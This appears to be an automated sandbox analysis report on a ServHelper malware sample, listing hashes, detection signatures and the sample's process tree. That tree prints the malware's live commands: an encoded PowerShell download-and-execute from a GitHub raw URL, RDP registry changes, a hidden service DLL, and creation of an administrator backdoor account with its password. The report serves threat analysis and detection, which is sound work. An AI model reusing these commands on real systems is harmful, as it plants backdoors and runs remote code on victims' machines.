Analysis

  • max time kernel
    60s
  • max time network
    135s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    09-08-2021 04:21

General

  • Target

    86178014e457120d9dc6f6e27453338c.exe

  • Size

    6.0MB

  • MD5

    86178014e457120d9dc6f6e27453338c

  • SHA1

    16ab38c0e9c4516532f9d111523e948a6311bfc0

  • SHA256

    d541b9ff1fd68818abd9d0f70966e97beaab82dd6bb32d66566fbd6d657fbfd8

  • SHA512

    746417e600a1a0cb157f6a74422140b1ed75767a7f47f208c46feadac1dcf845637ce986a11cd7ed3f07e9782ff736b8da448057b0eb65cc50df30baa500bf75

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • suricata: ET MALWARE ServHelper CnC Inital Checkin

    suricata: ET MALWARE ServHelper CnC Inital Checkin

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 9 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 19 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Script User-Agent 4 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\86178014e457120d9dc6f6e27453338c.exe
    "C:\Users\Admin\AppData\Local\Temp\86178014e457120d9dc6f6e27453338c.exe"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:808
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2852
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\lhq4zxin\lhq4zxin.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1324
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESBE45.tmp" "c:\Users\Admin\AppData\Local\Temp\lhq4zxin\CSC1FC88830663E45AF842C8B7F5220DB23.TMP"
          4⤵
            PID:2148
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1788
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2220
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1404
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:3916
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:3456
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:3208
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1316
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:196
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:912
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1404
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3248
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 start rdpdr
                      6⤵
                        PID:2256
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3508
                  • C:\Windows\system32\cmd.exe
                    cmd /c net start TermService
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3172
                    • C:\Windows\system32\net.exe
                      net start TermService
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3368
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start TermService
                        6⤵
                          PID:3648
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                    3⤵
                      PID:3916
                    • C:\Windows\system32\cmd.exe
                      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                      3⤵
                        PID:2960
                  • C:\Windows\System32\cmd.exe
                    cmd /C net.exe user WgaUtilAcc 000000 /del
                    1⤵
                    • Suspicious use of WriteProcessMemory
                    PID:616
                    • C:\Windows\system32\net.exe
                      net.exe user WgaUtilAcc 000000 /del
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:1748
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                        3⤵
                          PID:3808
                    • C:\Windows\System32\cmd.exe
                      cmd /C net.exe user WgaUtilAcc H9MWIhec /add
                      1⤵
                      • Suspicious use of WriteProcessMemory
                      PID:500
                      • C:\Windows\system32\net.exe
                        net.exe user WgaUtilAcc H9MWIhec /add
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:2512
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 user WgaUtilAcc H9MWIhec /add
                          3⤵
                            PID:3912
                      • C:\Windows\System32\cmd.exe
                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                        1⤵
                        • Suspicious use of WriteProcessMemory
                        PID:2000
                        • C:\Windows\system32\net.exe
                          net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:2184
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                            3⤵
                              PID:3476
                        • C:\Windows\System32\cmd.exe
                          cmd /C net.exe LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
                          1⤵
                          • Suspicious use of WriteProcessMemory
                          PID:3652
                          • C:\Windows\system32\net.exe
                            net.exe LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
                            2⤵
                            • Suspicious use of WriteProcessMemory
                            PID:1324
                            • C:\Windows\system32\net1.exe
                              C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
                              3⤵
                                PID:2384
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                            1⤵
                            • Suspicious use of WriteProcessMemory
                            PID:3380
                            • C:\Windows\system32\net.exe
                              net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                              2⤵
                              • Suspicious use of WriteProcessMemory
                              PID:3912
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                3⤵
                                  PID:588
                            • C:\Windows\System32\cmd.exe
                              cmd /C net.exe user WgaUtilAcc H9MWIhec
                              1⤵
                              • Suspicious use of WriteProcessMemory
                              PID:1420
                              • C:\Windows\system32\net.exe
                                net.exe user WgaUtilAcc H9MWIhec
                                2⤵
                                • Suspicious use of WriteProcessMemory
                                PID:3772
                                • C:\Windows\system32\net1.exe
                                  C:\Windows\system32\net1 user WgaUtilAcc H9MWIhec
                                  3⤵
                                    PID:2220
                              • C:\Windows\System32\cmd.exe
                                cmd.exe /C wmic path win32_VideoController get name
                                1⤵
                                • Suspicious use of WriteProcessMemory
                                PID:3808
                                • C:\Windows\System32\Wbem\WMIC.exe
                                  wmic path win32_VideoController get name
                                  2⤵
                                    PID:3204
                                • C:\Windows\System32\cmd.exe
                                  cmd.exe /C wmic CPU get NAME
                                  1⤵
                                    PID:3912
                                    • C:\Windows\System32\Wbem\WMIC.exe
                                      wmic CPU get NAME
                                      2⤵
                                        PID:3920
                                    • C:\Windows\System32\cmd.exe
                                      cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                      1⤵
                                        PID:3476
                                        • C:\Windows\system32\cmd.exe
                                          cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                          2⤵
                                            PID:196
                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                              powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                              3⤵
                                              • Blocklisted process makes network request
                                              • Drops file in Program Files directory
                                              • Drops file in Windows directory
                                              • Modifies data under HKEY_USERS
                                              • Suspicious behavior: EnumeratesProcesses
                                              PID:1308

                                        Network

                                        MITRE ATT&CK Enterprise v6

                                        Replay Monitor

                                        Loading Replay Monitor...

                                        Downloads

                                        • C:\Users\Admin\AppData\Local\Temp\RESBE45.tmp

                                          MD5

                                          3bf94725719ec5750b483938d2348d11

                                          SHA1

                                          51e63027827a49e365f6a9b8eacfa1644274ddc2

                                          SHA256

                                          25ccfebd9988deaeaa6475ec0aee5a99b6d6963cbb81696f02e46e5bf00f8633

                                          SHA512

                                          0235d1f1694b13d84b5eebba40c44dda58846d88f6fcfd53848fe1be891fe3bbb37651f4f8990d6bda0b32ca5915c3567dd9c482b192d5b6b4ea1e52b392789d

                                        • C:\Users\Admin\AppData\Local\Temp\lhq4zxin\lhq4zxin.dll

                                          MD5

                                          24e035aed3fb84e31fba40ebad14d5fc

                                          SHA1

                                          ff44a45d2b201e9ea0a100fded0bbd7109960732

                                          SHA256

                                          8a0a82a5165e3e99ae434b26d7da61ef3e3c67040dd064a619c19d08891055e6

                                          SHA512

                                          bd1d08e67d574fee2624a3a5ac0abbb250af35799165014811adb896d8060a42d0a827fc2032a8b8db0e8d31807ab05fad260bab3c1ebad71e854587b1586f05

                                        • C:\Users\Admin\AppData\Local\Temp\ready.ps1

                                          MD5

                                          3447df88de7128bdc34942334b2fab98

                                          SHA1

                                          519be4e532fc53a7b8fe2ae21c9b7e35f923d3bb

                                          SHA256

                                          9520067abc34ce8a4b7931256e4ca15f889ef61750ca8042f60f826cb6cb2ac9

                                          SHA512

                                          2ccf6c187c3e17918daadd1fc7ca6e7dfaf6b958468a9867cca233e3506906164dfeb6104c8324e09d3058b090eab22417695b001ddb84f3d98562aec05eb78f

                                        • C:\Users\Admin\AppData\Local\Temp\resolve-domain.PS1

                                          MD5

                                          90c8165a2ca1c584008751e6604aac5f

                                          SHA1

                                          c1b2545af59ec7acdec29e91c667aa74a12b9742

                                          SHA256

                                          2099da06514de677962d66f90b822084878cd4d9bb9e62bfa8c4ed728ddfa974

                                          SHA512

                                          9d2e477e0b600ae0d82fac78bdabfdb005033c20e28d7c76fb48111a426e315e9bb7e8da5daeb2824dc92c5e084f52aa33c1d5e680fe566c3f21d96b838799a0

                                        • \??\c:\Users\Admin\AppData\Local\Temp\lhq4zxin\CSC1FC88830663E45AF842C8B7F5220DB23.TMP

                                          MD5

                                          ab03bfea4a86420ff3861466a14b7468

                                          SHA1

                                          ed4c20e6ef609efcdbb21366a84529f7bb6debd9

                                          SHA256

                                          ff5de951b80826dced583b409701414480f10bbd06785ca8817422643eb8a676

                                          SHA512

                                          bb6ccde3c1492ead794b4c55856e7af30c248fcfc9d33b54dce5be5bded6f86629139b26acbb53bf9d0c2f0e440bd913e6b2e993254cb8aef3863b368dbef87a

                                        • \??\c:\Users\Admin\AppData\Local\Temp\lhq4zxin\lhq4zxin.0.cs

                                          MD5

                                          4864fc038c0b4d61f508d402317c6e9a

                                          SHA1

                                          72171db3eea76ecff3f7f173b0de0d277b0fede7

                                          SHA256

                                          0f5273b8fce9bfd95677be80b808119c048086f8e17b2e9f9964ae8971bd5a84

                                          SHA512

                                          9e59e8bee83e783f8054a3ba90910415edacfa63cc19e5ded9d4f21f7c3005ca48c63d85ce8523a5f7d176aa5f8abafc28f824c10dbfb254eed1ce6e5f55bf31

                                        • \??\c:\Users\Admin\AppData\Local\Temp\lhq4zxin\lhq4zxin.cmdline

                                          MD5

                                          0334a0d31f037a51598e0811051cb2e6

                                          SHA1

                                          0efae6b6b10bacb9d4ef31fa86dbc489e06918a5

                                          SHA256

                                          55a496494222ca4de90d9791857f0627535de50bc4df063929f42133fc289121

                                          SHA512

                                          79c39640840e7004d8c1526c372e4d8aec2ced9167c3e0c2d72d0237a6c3a3d198f349ff024c589d7cb8d63194e4ef99b5641fd55928b8206caac72731b88f66

                                        • \Windows\Branding\mediasrv.png

                                          MD5

                                          615f99f0e93e2cc4c6a3a572835fd63d

                                          SHA1

                                          c383f93e9a47adc4d4b265fadfcc3feaf0980a91

                                          SHA256

                                          bc0a2d80569c16b63f59d629c91bfa40f76247e39c2a41dbffb0e41d1eea9ee8

                                          SHA512

                                          dd1196a3067f740be9c8d3cbcfcb7ec511f77daf3ba28929ef8e989597d7a9de5a59e990a7edda5491ef75413967c7db42e6941ec51523428f7fd6a8353f21ba

                                        • \Windows\Branding\mediasvc.png

                                          MD5

                                          5b49a655bf1bd6bcb3551bb1cba2a97b

                                          SHA1

                                          a32f1358093e7e3d8ab6abcc286fc2d92a501f78

                                          SHA256

                                          40bbfb4ea867dff557fa9f20ef53d2b31708c847d2c4b601a55f9eabe69c57ca

                                          SHA512

                                          7de6b4bbc1bce7c12a6e7d730f62a6ca33106d9088a0d06e9beba0f94cd8e5a5fcc3d22ebfdcc62467e417dc85f909daf8094b69cd905dfff17fe0981ef7858a

                                        • memory/196-340-0x0000000000000000-mapping.dmp

                                        • memory/196-367-0x0000000000000000-mapping.dmp

                                        • memory/588-362-0x0000000000000000-mapping.dmp

                                        • memory/808-118-0x000002695AC75000-0x000002695AC76000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/808-114-0x000002695AC70000-0x000002695AC72000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/808-115-0x0000026975290000-0x00000269756B0000-memory.dmp

                                          Filesize

                                          4.1MB

                                        • memory/808-119-0x000002695AC76000-0x000002695AC77000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/808-117-0x000002695AC73000-0x000002695AC75000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/912-343-0x0000000000000000-mapping.dmp

                                        • memory/1308-377-0x0000022BB3B90000-0x0000022BB3B92000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/1308-435-0x0000022BB3B98000-0x0000022BB3B99000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/1308-384-0x0000022BB3B96000-0x0000022BB3B98000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/1308-368-0x0000000000000000-mapping.dmp

                                        • memory/1308-379-0x0000022BB3B93000-0x0000022BB3B95000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/1316-339-0x0000000000000000-mapping.dmp

                                        • memory/1324-137-0x0000000000000000-mapping.dmp

                                        • memory/1324-359-0x0000000000000000-mapping.dmp

                                        • memory/1404-290-0x000001749FDF8000-0x000001749FDFA000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/1404-289-0x000001749FDF6000-0x000001749FDF8000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/1404-344-0x0000000000000000-mapping.dmp

                                        • memory/1404-258-0x000001749FDF3000-0x000001749FDF5000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/1404-257-0x000001749FDF0000-0x000001749FDF2000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/1404-246-0x0000000000000000-mapping.dmp

                                        • memory/1748-353-0x0000000000000000-mapping.dmp

                                        • memory/1788-176-0x000002974F9F6000-0x000002974F9F8000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/1788-160-0x0000000000000000-mapping.dmp

                                        • memory/1788-168-0x000002974F9F0000-0x000002974F9F2000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/1788-169-0x000002974F9F3000-0x000002974F9F5000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/2148-141-0x0000000000000000-mapping.dmp

                                        • memory/2184-357-0x0000000000000000-mapping.dmp

                                        • memory/2220-203-0x0000000000000000-mapping.dmp

                                        • memory/2220-209-0x000001927ABF0000-0x000001927ABF2000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/2220-210-0x000001927ABF3000-0x000001927ABF5000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/2220-256-0x000001927ABF8000-0x000001927ABFA000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/2220-237-0x000001927ABF6000-0x000001927ABF8000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/2220-364-0x0000000000000000-mapping.dmp

                                        • memory/2256-346-0x0000000000000000-mapping.dmp

                                        • memory/2384-360-0x0000000000000000-mapping.dmp

                                        • memory/2512-355-0x0000000000000000-mapping.dmp

                                        • memory/2852-129-0x0000022E268B0000-0x0000022E268B1000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/2852-131-0x0000022E25D63000-0x0000022E25D65000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/2852-125-0x0000022E0D7B0000-0x0000022E0D7B1000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/2852-152-0x0000022E26EA0000-0x0000022E26EA1000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/2852-149-0x0000022E25D68000-0x0000022E25D69000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/2852-140-0x0000022E25D66000-0x0000022E25D68000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/2852-120-0x0000000000000000-mapping.dmp

                                        • memory/2852-145-0x0000022E0D7F0000-0x0000022E0D7F1000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/2852-130-0x0000022E25D60000-0x0000022E25D62000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/2852-153-0x0000022E27230000-0x0000022E27231000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/2960-449-0x0000000000000000-mapping.dmp

                                        • memory/3172-348-0x0000000000000000-mapping.dmp

                                        • memory/3204-365-0x0000000000000000-mapping.dmp

                                        • memory/3208-302-0x0000000000000000-mapping.dmp

                                        • memory/3248-345-0x0000000000000000-mapping.dmp

                                        • memory/3368-349-0x0000000000000000-mapping.dmp

                                        • memory/3456-301-0x0000000000000000-mapping.dmp

                                        • memory/3476-358-0x0000000000000000-mapping.dmp

                                        • memory/3508-347-0x0000000000000000-mapping.dmp

                                        • memory/3648-350-0x0000000000000000-mapping.dmp

                                        • memory/3772-363-0x0000000000000000-mapping.dmp

                                        • memory/3808-354-0x0000000000000000-mapping.dmp

                                        • memory/3912-361-0x0000000000000000-mapping.dmp

                                        • memory/3912-356-0x0000000000000000-mapping.dmp

                                        • memory/3916-448-0x0000000000000000-mapping.dmp

                                        • memory/3916-300-0x0000000000000000-mapping.dmp

                                        • memory/3920-366-0x0000000000000000-mapping.dmp